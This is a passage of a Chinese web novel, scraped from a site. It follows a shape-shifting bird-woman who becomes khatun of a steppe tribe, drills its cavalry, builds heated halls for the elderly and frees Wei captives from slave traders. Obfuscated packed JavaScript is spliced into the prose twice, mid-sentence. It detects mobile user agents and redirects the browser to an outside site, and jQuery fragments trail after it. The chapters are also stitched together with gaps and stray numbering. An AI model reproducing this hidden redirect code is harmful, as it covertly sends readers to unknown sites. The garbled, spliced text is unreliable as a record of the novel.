“以咱们现在的军制来说,万骑长带十个千骑长,每千骑长下辖十个百骑长,然后就是普通骑兵,这种军制是很粗糙的。我知道雪域骑兵不习惯太详细的分管,可能没法像魏朝那样五人一伍,十人为什,但是我们可以列个二十人小队,队长由兵员自选。哪怕是在混乱的战场上,二十人为一个基础单位也很难被分割掉,再设立副队,队长死副队上,至少不会出现死了个骑长底下人听不到令,不知道自己要做什么的情况。” 这事林一在练兵的时候就试过,突然叫走一名千骑长和他的百骑长,一千人的兵员在规模齐整的军阵里都会像一列无头苍蝇,所有人的脸上都透着我是谁我在哪我要干啥的茫然。 苏赫阿那一直等到林一不再开口,才长出一口气。 自那日林一向他坦诚并非魏朝下嫁的那位玲珑公主后,他不曾问过林一的来历,不过猜测大约是世家贵女迫于无奈替公主和亲。这场和亲目的只是为盐铁粮的交易做一个基础的纽带连接,他本也不在意自己娶的是公主还是寻常女子,可现在忽然意识到,这场交易也许给他带来的最大利益,并非那些可以活人无数的冬储粮。 他一手建起的部落,大约迎来了真正意义上的可敦。 腿畔忽有猫叫,林一一把举起蓝眼白猫,这只猫已经洗得很干净,每天要吃好几顿肉干,尤物把猫照顾得很好,果然是很喜欢的。林一捞起猫爪子对着苏赫阿那挥了挥,“喵嘎~” 苏赫阿那是个很稳重的男人,他的年纪摆在这里,不过就算是年轻时他也几乎不笑不闹,一个人扛事情太久就是这样的,但看着笑靥如花的女郎和圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15160785|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎乎的胖猫,他心头一松,笑了一下。 林一嘎嘎直乐,一只雌鸟最大的成就感来源可不是那些打打杀杀,而是让她的男人能够发自内心欢笑。 从明天起,定个小目标,先练出一支能横扫雪域的强军。 转过天又是一个晴朗天气,林一出门时又一次见到了来给苏赫阿那问安的乌苏小王子,十六岁的少年性格很乖,见到她虽然叫不出娘,还是握拳抵胸口行礼,乖乖叫道:“可敦晨安。” 林一对这种软乎乎的男孩子没有什么想法,很顺手地摸了一把他的脑袋,“恁爹没起呢,去吃个饭再来。” 乌苏不习惯被摸头,但他能感受到林一对他没有戏谑狎昵的心思,脸颊微红地点头告辞。 林一大步大步往军帐那边走,苏赫部的黑帐连营是有地区规划的,最中央是议事主帐,林一和苏赫阿那的睡帐就在主帐后面,外层是四个亲卫帐区,苏赫铎和苏赫忽律的帐子在亲卫帐区的间隔处扎着。 一个帐区约有八百亲卫,每晚轮流有一帐亲卫作为巡逻兵员,再外层就是军事区域了。常备骑兵住黑帐,外层是一些家眷,这些家眷负责为黑帐放牧牛羊,宰杀牲畜,烧火做饭等,他们的待遇也是部民里最好的。 黑帐之外的白羊帐就很分散,是普通的牧民,放牧区域更远,苏赫部落周遭百里的牧民都属于苏赫部人,除了这一处黑帐所在的平原,还有很大一部分人口散布在河岸两侧。 乌苏小王子没有任何职务安排,住的是白羊帐,但毕竟小王子不能真个和家眷混在一处,所以他住的是在军帐和家眷区中间的地带,王澈的帐子就隔得不远。 王澈平时早晨是睡不醒的,但昨天睡得太饱了,也就难得起了个大早,然后就遭了个大罪。 轮椅被推到一处僻静偏远的洼地,这里远离军区和家眷区,因为草质不好还没人会来放牧,王澈冷静地看向停下脚步的少女,轻声道:“阿真娜,你现在推我回去,我可以当做这件事情没发生。” 少女阿真娜是一名千骑长的女儿,平时经常过来听王澈的魏语课,但和她交流仍然只能使用雪域语,因为这姑娘的心思不在课上,而在先生的身子上。 阿真娜咬唇,摇了摇头,有些痴痴地看着王澈皎如明月的俊脸,慢慢解自己的腰带,“先生,你又跑不了,等会儿我们快快乐乐的来一场,你要是喜欢,就娶了我好不好?” 王澈坐在轮椅上,看了看周围,“你执意如此?” 阿真娜丢掉腰带,羞怯地笑了笑,又脱去外衣,“是,王先生你腿脚不便,可是阿真娜愿意照顾你一辈子,阿真娜会像魏女一样温柔如水的……” 眼看着这出云绝尘的男子深深地叹息,似是服气,阿真娜笑得灿烂,又带着一丝少女得意,朝着他的衣襟伸出手。 王澈拔腿就跑。 22.第 22 章 王澈的跑速不慢,但是明显不怎么适应草地,带点踉跄,但已经足够,因为阿真娜完全没有追上来,这姑娘傻在原地了。 这位魏人先生是五年前来到苏赫部落的,小王子乌苏那会儿十一二岁,雪域的冬季非常严寒,最老练的猎人也不会在最冷的时候出门,那一年还是雪域人都记忆犹新的荒年,暴雪连三月不歇。 小王子因为跑丢了他心爱的守羊犬,独自外出寻找,他被发现不见后,苏赫阿那派出了三千骑兵在部落周遭搜索,乌苏被找回来得很快,他没跑远,也找到了狗。最后一支被派遣出去的骑兵却到了傍晚黑天才回,带回来一个昏迷不醒的年轻魏人。 王澈在雪地里不知道走了多久,被苏赫骑兵发现时近乎昏迷,但还在往前爬。一碗飘着丰富油脂的热羊汤下去给他灌醒,他醒来自称是魏朝世家子弟,举族获罪,与魏朝有说不尽的血海深仇,愿入雪域为臣,与故国再无干系云云。 苏赫阿那一个字都没理他的,雪域部落对魏臣这两个字有天然的抵触,不过小王子乌苏对王澈有极大的好奇,非要拜为先生,留下了人。 五年过去,王澈在苏赫部落过得悠闲自在,他的腿当初倒确实是被冻伤了,有好几个月不能走动,为了行动方便,他绘制了入门版的小推车,后来觉得不雅,又改版为两侧有轮的木筐,但腿蜷在筐里还是不舒服,而且太矮。 懒是聪明人的第一动力,王澈便结合了雪域人常用的靠背椅设计了初步的轮椅,后来删删改改成了现在这样座位宽大、靠背舒适、高度正好,推动起来轻松的轮椅。 他的腿在这期间其实好了,但有了轮椅的日子是真的舒心,王澈本来就不爱做事,而苏赫部落基本没有闲着的人。 万骑长这个级别很厉害了吧?万骑长的孩子还是从七岁开始就捡牛粪放牧。王子这个身份高贵了吧?二王子苏赫忽律效仿魏朝皇子在身边聚集了一群“谋士”,然后这些谋士呢?也就每天跟着二王子时能闲着听他吹吹牛逼,最多不用放牧,回家还是得做些活计,还都是王澈看一眼就难受的活,给母羊母牛挤奶、捡牛粪晒、剥羊皮,甚至还有阉割公羊。 这些事对牧民来说是日常活计,但王澈接受不了,为了逃避劳动,就一直坐着轮椅了。他本来就是很惫懒的人,最多坐累了在自己帐子里走动几下,伸伸懒腰,日子都是对比出来的,比起二王子那些谋士,王澈感觉自己可以在苏赫部落懒到老死了。 可惜,好日子一去不复返。 王澈是自己走回帐子的,认得他的人可太多了,五年前苏赫部落除了零星几人外几乎没人会说魏语,现在的年轻一代基本都会几句“俺俺恁恁恁要干啥”,尤其是女孩子学得最好。这一路上有人惊得直瞪眼,有人想问又不敢,还有调皮的小孩子凑过来试图摸摸他的腿。 这王先生咋就忽然能走嘞? 乌苏是回来吃饭的,一回来就听说王先生不知道从哪里走回来了,吓得手里的肚包肉掉在地上,他连忙捡起来用水囊里的水冲了冲土灰,几口飞快吃掉,跑去王澈的帐子里,迫不及待想要见到站起来的先生。 帘子掀开,王澈坐在椅子上,眉头跳动,“干啥?跑恁快,还有没有点君子气度?” 乌苏有些怂怂地说:“听说先生能走了,所以急着过来……” 王澈伸了个懒腰,他其实懒得多说什么,但这几年确实全靠乌苏照顾,沉默片刻,他揉了揉脸颊,说道:“千里之马,不可使其拉车,百战之兵,不可用于耕地……罢了,也是吃用了你这几年,乌苏,你想不想成为大汗?” 乌苏呆住了,等反应过来,他立马拼命地摇头,“大哥、大哥很好,二哥也比我厉害得多,我怎么能有这样的本事继承部落呢?” “恁爹要是看得中那俩,他至于天天叹气吗?一个有勇无谋,一个志大才疏。”王澈忍无可忍,他向来不和乌苏说这些事情,现在是彻底不装了,摊牌了,“恁大哥是个当将军的料,他这辈子就是个将军了,带一万人以上就够他死嘞,恁二哥是个披着狐狸皮的猪精,猪成了精!狠也狠不起,毒也毒不来,至于你!” 乌苏有些怕这样严肃的先生,又有些莫名的兴奋,小声问:“我、我有成为大汗的潜质?” 王澈果断地道:“木有,一点都木有,恁这辈子最适合放牛,而且只能放两头牛,多了怕恁数不过来。” 乌苏又呆住了,他倒不是伤心自己的评价最低,而是忍不住想,那、那岂不是说阿父三个儿子,就没有一个适合做大汗的吗?苏赫部落以后要怎么办? 王澈起身,双手揪着乌苏的耳朵把他的脸抬起来,非常果决地说:“恁要成为大汗,一定要成为大汗,靠你自己是不中用嘞,就俺这些日子看来,恁想成为大汗,就要有做可敦的本事。” 小王子一脸懵,王澈把他的嘴巴捏成小鸡嘴,慎重地道:“现在唯一能和恁争的,是恁二哥。” 乌苏小鸡嘴叭叭,眼睛很清澈,“先生不是说,二哥是、是……那个成精吗?” 王澈放开他,回身又瘫在椅子上了,很无奈地掰碎了讲,“恁二哥的优势不在他那个猪精脑袋,而在于他长得好,据我现在观察来看,以后苏赫部落做主的,是那位和亲来的玲珑公主。我没咋见过她,但她的本事不小,至少绝对强于恁那两个哥,再过个十几二十年,她的地位更稳固,继位的是谁,和你哥仨人没啥关系,看她想要哪个。” 乌苏一时有些反应不过来,这时候外间军帐区方向有些不同往常的喧闹,王澈摆摆手,“走,去看看,恁别想太多,从明天起教恁的不再是表面上的儒学,而是最精华的部分。” 小王子这会儿脑子里乱哄哄的,这是一时间接受了太多信息导致的,他有些心慌,还有些惊喜,明天开始,先生会教他什么厉害的东西? 军帐区主要是林一一个人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15165675|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹腾,她声如五百只鸭子,挨个帐子叫起,十分恨铁不成钢。那江骋夜里被她叫醒时军容在片刻间整肃完备,有充足的时间选址布阵等待来敌,这些部落骑兵们却松懈闲散,这个点了有人在吃朝食,有人刚醒在洗脸,还有一些人呼呼大睡着。 这是军队该有的样子? 两名万骑长是很快赶到的,克托是个典型的雪域男人,黝黑而健壮,另一名万骑长叶利诃则是标准的雪域混血模样,小麦色肌肤,平时笑起来很和煦。这会儿两人却都焦头烂额,克托主要是觉得林一突然跑来是在找茬,叶利诃拦住几个不忿的千骑长,也是颇为无奈。 林一按住两人,先完成手头的事。让呼兰六兄弟传军令挨个帐区叫人集合,然后先行召集所有千骑长,军队集合的速度非常慢,但骑长们基本上都到了,千骑长分列两队,百骑长跟随各自的上官,仅从这一点来看还比较齐整。 “少了一个,那天那个最小的千骑长去哪了?他不在军帐区?”林一拧起眉毛。 叶利诃没想到林一记性这么好,不过很快问了下属,“叶撒昨晚没回来,应该是去了集会上的姑娘家里宿夜,集会期间,这种事很多。” 这话带点开脱的意思,林一其实没放在心上,住在军帐区,没有把人带回来过夜还是可以的,她刚才掀帐子叫起的时候看到好几个匆匆遮盖身体的女人了。 林一琢磨,现在这些骑兵都是男人,而且也经过很多次训练了,是目前最好用的人手,但部落里大量的女人仍然是得组织起来的,哪有让自己的男人出去打打杀杀,自己窝在帐子里的道理?明明她每天都看到妇人们忙里忙外,都是很勤劳的女人啊! 过了好一阵子,骑兵们才集合起来了,当然这会儿看起来不能叫骑兵,林一没让带马。一万五千多人在平原上列为三个长方形军阵,还有不少人衣裳甲胄不整,有人蹲下去绑护腿,林一等了一会儿,军阵内外始终有低低的嗡鸣人声传来。 叶利诃最先反应过来,让骑长们去叫肃静。 大军很快静默下来,众人以为可敦要训话,可这么多人,众人聚在一起心态上是很稳的,甚至有点看笑话的意思,还能罚到具体某个人头上吗?魏朝来的公主好大的威风,大汗带他们出去打仗的时候都没这么多规矩。 林一深深地叹了一口气,骑在马上绕着军阵走了两转,回到军阵中央时,鸭子嗓非常大声,“好!现在每五千人围一大圈,来一场军中比武大会,想参加的都过来我身边,不参加的现在开始围成大圈坐下。我以可敦的名义宣布最终的胜利者,普通士卒升为百骑长,百骑长升为千骑长,千骑长……给我回去!” 气氛原本已经在林一的大嗓门里热烈起来,不时有膀大腰圆的雪域勇士跃跃欲试,到后面点千骑长时又都转为哄笑,连原先脸色逐渐沉重的两个万骑长都忍不住大笑起来。 几个想过来参加的千骑长顿时臊眉耷眼的。 50-60 第51章 扎哈额真是个很严肃的老人,他年纪大了也不能参加雪仗,和林一一块儿待在铁勒高车上观战,他笑的频率太高,以致于林一很纳闷,疑心这雪仗到底有什么好笑呢? 老人自己也不知道,他在克烈部待了大半辈子,每年克烈部的冬季都会送走一些人,他年轻那会儿性格冷酷,认为那些被放弃的老人各有各的该死理由。比如子嗣不愿供养的老人,大多以前对待妻子儿女的态度很差,有了得了疾病,是要防止臭在帐子里,有的脑子提前被狼神带走,活在世上像一具躯壳……总是有很多很多理由的。 直到他自己逐渐年老,直到最像他,也是最不会放弃他的长子战死,他开始沉默,一直沉默到被抛弃荒原的那天。 不知从什么时候起,他熟悉的克烈部已经不是他记忆里的样子了,很多中小部落加入,他的长辈们一个个消失,他的同伴因为年老渐渐失权。一个部落绝大多数人口都是幼童和青壮,一眼看着就知十分强盛,但也越来越没有他的位置,他曾是叶护,常年带着几万部民求存的第二首领,但没有人记得他的功劳,只觉得他老迈了,该离开了。 苏赫部是个很奇怪的地方,一个家庭里有老人,有青壮,有孩子,扎哈额真很少看到一个雪域部落能养出这么多欢笑的声音。 每天从帐子里睁开眼,就忍不住会笑,见到那些和他一起被抛弃的,现在脸上养出了些血色的同伴也会笑,看到平原上苏赫青壮打雪仗,想到苏赫部落的强盛,还是想要笑。 林一等底下开始混战了,就没兴趣再看下去了,坐在位置上脱了鞋开始查看自己的脚,最近走路不多,脚上没有蜕皮,只有脚指头缝隙里有些散碎老皮。 她一点点揪下来,随口说:“扎哈,我从辽东弄来了烧窑的人,最近也从铁勒那里铲了些黑石回来,他们要试着起窑烧砖了,要是能烧出来,我初步准备弄几个大通间,把年纪很大的老人和五岁以下的小孩弄里面去集中供暖。冬天很难熬的,你闲着也是闲着,到时候做个通间管理员。” 扎哈额真愣了一下,“现在已经可以烧砖了?” 林一点头:“风家兄弟说要起个龙窑,就是非常大规模的窑,现在主要是黑石不足,没法给整个部落盖屋子,但是先匀些铁勒部用来打铁的黑石没问题,等以后多弄些黑石,天气也暖和了,再慢慢修呗。” 老人嗫嚅几下,还是没有开口询问“那为什么不先给可汗可敦造宫殿呢”,他感觉这问题问出来是很冒昧的。 风怡和风期两兄弟本来以为苏赫部没有黑石,结果不光有,数目还不少,他们本来想开春了再动工,现在这个天气是真的很冷啊!辽东本来都已经算是苦寒之地了,结果雪域更冷! 但被抓来就是干活的,两人认了命,他们已经是半截身子入土的人了,能保住家族小辈就不错了,干吧干吧! 三十九的风怡和三十三岁的风期,扎起袖口,开始下场指挥建窑,林一分给他们两千多号青壮。 起窑是很快的,两人有充足的建窑经验,烧砖有些难度,因为要考虑砂土和河泥的配比,现在河边完全是冻土,得到窑里烤湿软,但是两人分工合作,各自带着人手试验,没搞几天就烧出了标准的砂土砖。 砂土砖确实质量不如魏朝的青红砖,但雪域这个土质摆在这里,能烧出一巴掌拍不断的砖就已经足够了,通常魏人建房还要用到木料为梁柱,但雪域这边少有,只能退而求其次使用了铁勒部灌浇的铁柱。搞这个也花了半个月的时间,期间龙窑不断出砖,堆到冒尖。 屋顶使用了帐篷毛毡堆叠的设计,这就有些像是穷苦魏人的稻草屋顶,也像是靠海渔民的海草房,即四面砌墙,用晒干的稻草或者海草堆叠成轻便屋顶,这样只需要用到很少的梁柱。 大通间的建造成本着实不低,最后用河泥糊墙,屋里砌了辽东人常用的火炕,点火烧制,烘烤好火炕的同时也让泥墙面干硬。等火炕完工,当日一场暴雪,林一带着扎哈额真挨家挨户上门收老人小孩,千把号人全都塞进大通间里。 老人大多带着小孩睡火炕,林一自己也试了试,很是满意,不过她对供暖没什么兴趣,留下扎哈额真就大步大步往外走去。 大通间是集中建屋,就在军帐附近的一块平地上,原来是放置闲置军械的群帐,现在拆掉,军械换地方摆放,原来的帐子被拆开用作屋顶。每天屋里都是老人逗小孩的笑声,小孩火力壮,甚至会出门跑跳,学着大人的样子打雪仗,然后被老人急急忙忙揪着耳朵往屋里拽。一片欢声笑语,气氛完全不像是在雪域最严酷的雪期。 扎哈额真管着这些人,事情很琐碎,但他挺乐呵。当初和他一起被克烈部抛弃的同龄人,也大多住进了通间里,白天会有一些家属来送饭,然后找借口坐一坐火炕,到晚上还磨蹭不想走,每到这个时候扎哈额真就会沉着脸撵人。 几十年叶护攒下的威严,就用来干这个了哈。 黑石预算不够了,不然林一确实是想单独给自家男人盖个大屋的,铁勒部那边的已经积了一大堆梁柱,龙窑这里黑石不够烧,但每天都在挖土储存,这不是明晃晃地在提醒她:快点,快点去弄塔塔尔部的黑石矿吗? 嘎,能力越大责任越大,像她这样的强壮大鸟是根本闲不下来的! 林一准备先去黑石矿那边看看,可能会待几天,她做战前准备和普通武将是很不一样的,她会把所有细节全都理清楚,战前双方实力,敌军火力储备,地形地貌,各种预测统统来一遍,先谋后战,能骗就骗,绝不打硬仗。 这就是她常年被百鸟帝国军事指挥养成的纯ai式军事思维,按照王澈学过的兵法理论,这叫兵事中的“料敌机先”“胜兵先胜而后求战,败兵先战而后求胜”“知己知彼百战不殆”“庙算者胜”。 几乎所有的厉害兵法,都试图教会后来人不要莽不要莽,最忌讳的就是自己都不知道能不能胜就上去打,百战百胜的名将一定都是老阴比,为将者要比混官场还要会算计,一切的军事思维追求的极致,就是ai式思维。 林一临行前,大吃了苏赫阿那一顿,从睡帐翻炒到帐外,也就是亲卫都被撵走了,苏赫阿那这次是真的有些恼,他不能理解这种、这种非要去外面的想法,有半夜都没有理林一。 这种冷战气氛影响了养在帐子里的白猫,猫耳朵向后抿着,仔细观察床上的鸟人和她的人类,直到凌晨时,鸟人从后面抱住了人类,人类轻轻拍了拍她的手腕。 啊,终于和好了。 白猫舔了舔爪子,跳上床尾蜷缩身子睡了起来。 林一给自己准备了一麻袋的牛肉干,她更喜欢吃羊,喜欢那种肥滋滋油乎乎的口感,但是长途飞行来回,还是牛肉干更加管饱。她背着麻袋准备出行时,路过王澈的帐子,王澈对尊贵的可敦这幅出门要饭的装扮见怪不怪,招手让她进帐子。 王澈的帐子里东西很少,一张床一个桌子两个草墩,草墩原来还只有一个,是最近林一经常来,发现王澈有地方坐她没有,自己拖来一个草墩墩。 两人在桌前对坐,王澈拿出一叠纸,有的是改版后的混血鸟图样,有的是更简洁的图腾设计,最后几叠纸上是一些字样。 “这是我为你的鸟图腾起的名字,大部分是生造字,也有些古神鸟名。”王澈把纸推给林一,揉了揉眉心。“其一鸑鷟,其二鳳鸟,其三鹓鶵,另有古称鲲鹏,鹏鸟,彩鸾等。” 林一很兴奋地拿过纸看,嘎嘎道:“鸑鷟、鳳鸟、鹓鶵,这些是你生造的?能简化一些吗?我不是很喜欢鹏什么的,而且是已经有的鸟的名字,我喜欢你生造的词,但是笔画太多了,这样不认识的字的人要怎么记住?” 王澈思索片刻,翻过写着鳳鸟的那张纸,在背面用炭笔写下一个简化字:凤。 林一歪头看着这个字,好久才问道:“这字……如何发音?” 王澈很随意地指了指鹏字,“和古神鸟发音近似些吧,这样能蹭点神鸟之韵,就发风字音,改个声调好了。” 林一一巴掌拍在纸上,整个鸟陷入极强烈的兴奋中,超大声地嘎嘎:“凤!凤!凤!” 她一头冲了出去,手里抓着纸,王澈收好剩余的纸张,其实不大理解造个鸟名而已,有什么可兴奋的呢?他收拾收拾,打了个哈欠,爬上床继续睡雪天的回笼觉了。 林一出了帐子,跑出苏赫部落外,找了个没人的地方,连毡衣都忘记脱,宽大的翅膀如同双刀出鞘,撕裂层衣。大鸟一飞冲天,五彩斑斓的黑羽翼在清晨阳光下笼罩上一层华彩。 今天开始,她是凤鸟,世上独一无二的凤鸟!再也不是只有编号的混血杂种鸟!嘎嘎! 第52章 林一是一个人出门的,她自己也不知道要出去多久,所以背了一个几乎等身高的大麻袋,里面装满了牛肉干……是化鸟而飞之后又自己飞回来带上的。 麻袋里也有衣服,也是毡衣,林一很喜欢这个,她的皮看着细腻但实际上挺硬的,穿着毡衣不嫌扎,而且好穿好脱,比那些脆弱丝绸耐用。 雪域几乎所有的部落都是依靠水源地生存的,靠着河流才能安置帐篷,放牧其实也不会走远。而人数过万的中等以上的部落,则必然是长期定居在一片范围内的,例如汪古部,它的位置在克烈和苏赫之间,距离魏朝边关较近,是最适合商人部落的三线中间点。 顶级的三大部落就更有讲究了,苏赫部占据最好的大河谷、仆固平原、自身处于双河之交界,周边矿场资源丰富,盐湖养活附属兀鲁部,铁矿交给附属铁勒族。苏赫本部占据的草场被称为黄金草场,这地方在雪域历史上,可是一直由“左贤王”占据的。 雪域很早就有“三王制”,左右贤王类似现在的“叶护”,本质上是雪域人无法像魏人那样通过耕种使大片人口密集,一旦人口过多就需要分族而居,内部也因此有派系之别。左贤王通常是大单于的继承人,也通常是长子之类,成为左贤王是一个被考察的过程,也是放权的开始。右贤王则大多是大单于的长辈,与魏人的皇叔近似。 大单于也就是大王,带领本部在圣湖周边活动,左贤王在黄金草场分族而居,右贤王的位置差不多就等于克烈本部的位置。即便三王制已经消失多年,但如今的雪域三汗地盘仍然没怎么变动,这就是地形原因了,雪域贫瘠,唯有这三处可以支撑数万人口。 林一从高空俯瞰,一早发觉其实苏赫部的两条大河就是“圣湖”的支流,沿岸养活数个中小部落,偶有商队成行,也都是走熟了路的,很少出现大雪天瞎走的迷路人。 林一本来想飞过去的,但这样的天气,居然真给她发现了一行百余人左右的商队,走的路线非常歪,歪向荒原的那种。 她滑翔落下,双爪稳稳落地,就在这行商队不远处停下,假装自己是一只正在理毛的过路鸟,把大麻袋往胸羽里掩了掩。虽然个头大得离谱,但雪域嘛,谁没见过几只大雕,总有些个头异于常人的畸形鸟类,虽然这也太畸形了点…… 商队没有弓箭,见林一没有伤人意图,也不愿意招惹一只怪鸟,自顾自埋锅造饭,有的铲雪烧化,有的从包裹里捡出散碎黑石点燃,还有的把冻得梆硬的肉拿出来放进锅子里。 商队的气氛看起来很奇怪,是真的很奇怪,有二十多个一看就是魏人长相的青年男女眼神空洞坐在毛毡上,被一个个提起来灌热水,然后商队开始分粥。 领头的见有人去踹不肯吃喝的魏奴,立刻恼怒起来,呵斥:“这些都是上等的好物,我花了大价钱从魏朝弄来的,世族!你们晓得什么是世族吗?保不齐哪个就能得宠!” 踹人的嘀咕:“前天不还一起乐呵来着嘛……” 首领又怒,嚷道:“乐呵的那个叫丫鬟,丫头!娘的你这辈子也就个玩丫头的命!” 他气冲冲走过去,抓起那个踹人的,给被踹的青年公子赔罪,咧嘴笑道:“姜公子,恕罪恕罪!这趟远行塔塔尔部,您受累,这吃喝上虽然不如您从前,但到了塔塔尔就好了。您可千万别害怕,塔塔尔的右贤王喜爱儒学,最爱收留你们这些魏家公子,倘或公子得宠,我这也算是行善事。” 那青年公子抿着苍白薄唇,一声冷哼。 首领赔笑完,端来热粥,又劝了会儿,见他还是不肯喝,笑着说了声得罪,然后两个人按住那位姜公子,捏开他嘴巴,直接往下硬灌。 林一大概看明白了,这是贩奴队啊!苏赫阿那从来不让商队送奴隶,他不要奴隶,两个附属部族也没有,但是雪域这地方吧,奴隶制是一直都有的,从远古时代就有。 像苏赫阿那,他的母亲是白奴,一种生活在比圣湖还要更北的地方的野人,白而高大,高鼻深目蓝眼睛,塔塔尔部经常就会掳掠这些白奴自用和贩卖。苏赫阿那的父亲则是部落中的青壮勇士,也是雪域贵族,在和白奴生下子嗣后,没有给予姓氏。 苏赫阿那从小到大一直只有阿那这个名字,他不属于奴隶,但也不属于贵族,是普通的平民。他唯一从父亲那里得到的……是一个父族长辈的遗孀,大约也不能算是他得到,而是被选中。那位遗孀按照辈分是他的叔母,一位年近四十的妇人,不知为何在一群青壮年后辈里挑选中了他。 白奴还是比较少,毕竟野人也是群居的,想要弄到这些白野人往往要进行一些小规模战事,雪域上流通最多的还是魏奴:原本就是要南下就食劫掠的,顺带弄一些人口回来,这是战利品之一。 首领还说道:“对待这些魏人,态度一定要好!你们都听过雪域妖姬的传闻吧?不是传闻啊!祝氏贵女,嫁了个魏朝边将的,一回赶得比较寸,被人掠到咱们这儿来了。那可是个狠角色,只是跟了个小部落的王子,没几天就把那个贩奴队上上下下杀得干干净净,那叫一个狠!其实咱们贩奴的哪里有多大恶事,她是贵女,高价货,那压根都没有碰她嘛!” 有人嘿嘿直笑:“换了七个男人,每个男人都惨死在下一个男人手里的那个?这得有多漂亮啊,抓到这样的女人可保不准碰没碰!她现在跟谁了?” 首领这就不说了,虎着脸呵斥:“别找死,我是警告你们,不是叫你们想女人的,总之,别因为裆里那点事带累大伙。魏人,尤其是世族最记仇,最不好惹,而且现在那些大人物,就喜欢魏人,尤其是苏赫部那个和亲来的可敦,都弄上兵权了……” 他话扯到这里感觉不大对劲了,那停留在远处一直理毛的大丑鸟,怎么好像走过来了? 不是好像,林一大步大步往前,扔掉麻袋,翅膀大张,嘎嘎大叫着扑杀过来,跳起来就给了首领一爪子,当场脑壳抓烂,安详离世。 贩奴队惊呆了,不过很快就有人高叫道:“别慌别慌,鸟很少主动攻击人,鸟很容易惊,快拿刀出来,大家围起来防……” 话音未落,林一给了他一翅膀,这一翅膀的力道毫不夸张,连硬壳虫族都能死得烂烂的,场面顿时就别提了。 人的智慧是很强大的,人是非常聪明的……在死了三四个人之后,别说贩奴队一哄而散,就是那些脸色苍白看着就虚弱的魏家青年男女都开跑了,剩下几个坐着没有动。 林一在雪地里蹭干净血迹,很有耐心地把逃跑的魏人往回撵,撵不了的就直接上爪子抓回去,跑啥跑,本来路线就走歪了,再跑就跑到荒原去了。 一行二十几个青年男女被林一用翅膀拢在毡垫上瑟瑟发抖。 林一其实一直挺避着人的,她不笨,知道一个人有鸟形,在这个半原始社会是很异常的事情,而且最主要的是,她的鸟身比较丑……啊对,确实主因是这个。 但这不是、这不是已经弄了个古之神鸟的设定出来了嘛,看着图上美轮美奂的凤鸟,林一很难不生出一种觉得P图里的自己才是真实的自己的膨胀心态啊。 主要的原因已经不存在的情况下,林一拍打了几下翅膀,先嘎嘎两声,这是她的习惯,然后口吐人言:“俺乃神鸟,不是鲲鹏啊,但是发音比较像,这个字形是这样的……” 她一爪从胸羽里掏出一张竹纸给这些魏人传阅,用翅尖指指点点,让他们看反面的凤字,然后说道:“恁都不要怕!俺是有人形的,俺马上变!” 变是一种比较好听的说法,实际上这属于咔咔一顿变形,两米八巨鸟忽然扁扁,然后鸟身往里收,人皮肤往外翻,脑袋刚翻出来的时候还duang了几下。这个过程看起来太狰狞非人,当场吓晕了一个身体比较虚的小姑娘。 平心而论,林一的人身挺好看,虽然没有非常符合魏人对女性的审美,清瘦娇美婉约这些普遍审美是一个都不沾,就是还算斯文那种肌肉。 流水线产品,混基产物,能随机到一张还不错的脸就撞运了,不可能一个战士很瘦很瘦,或者玲珑有致。她的优点在于肌肤雪白,身板修长减轻了压迫感,还有一双又白又直的大长腿,大长腿! 可是没几个人欣赏她,没吓晕的人呆滞住,怀疑自己已经死在路上了,魂灵已经陷入混乱了,先前那姜公子第一个反应过来,反手就把自己身上的脏披风往林一身上盖。 林一不要,她去把毡衣拿出来套上了,然后折返,很友善说道:“这儿快到塔塔尔部落了,但你们走得有点歪,俺有事忙,先准备把你们带到苏赫部落,要是有想回家的,可以等天气好点,俺统一送你们回。” 魏人们面面相觑,又是那姜公子主动开口道:“我等是魏朝罪人,被边关守将转手贩卖,回去也无生路,恐怕是再经手一次……在下姜命,字造化,辽西姜氏之支脉。我等素闻苏赫大汗乃温厚长者,愿意去苏赫部落做事,不知神鸟大人是苏赫部的……” 话音微微停顿,是一种世族式的礼节问询方式,说实话,面对一只人身大鸟,能这样有条理地说话,已经非常冷静。 林一翅膀一挥,意气风发:“可敦!” 可敦,雪域语中,女主人之意,可汗是男主人,本身并无从属关系,在雪域还是母系族群之时,一个大部落之主是被称为大可敦的,和现在的大汗一个意思。总之林一很喜欢可敦这个称呼,比公主好听。 姜命躬身行礼,救命大恩无法轻易言谢,是要记在心里一辈子的,是要用行动报答的,就像此时面对恩人,他虽然脑子里冒出诸多念头,但体贴地一句话都没问。 就是说啊,咋个回事呢?萧氏皇族嫁了公主和亲没错吧?公主也就是可敦没错吧?那么可敦怎么会是个鸟呢? 林一让众人去分配商队的大车,身体虚弱的坐最好的车,还健壮的骑马随行,一些有用的货物挑拣出来,最后跳上马车。 善良大鸟最好命,又捡了一窝人才,嘎嘎! * 姜命,字造化,辽西姜氏之支脉。父坐罪株连,流落雪域,遂得造化。其人谨慎多谋略,最善治,乃王佐之才。帝每下一地则令姜公至,抚民如父,治国如烹鱼,翻手可得也。 ——《史记。衍国公列传》 第53章 这大雪天路难行,商队是拉了大车的,不是铁勒高车那种满车是铁皮铁钉,铁勒高车通常看着粗陋实际上很结实牢固,商队的大车则是纯木头制的大车,以榫卯为主要结构,极少极少用到铁,这其实是典型的魏制车。 拉车的主要是驴骡,只有首领和三两个小头目有马,驴骡到底是便宜些。 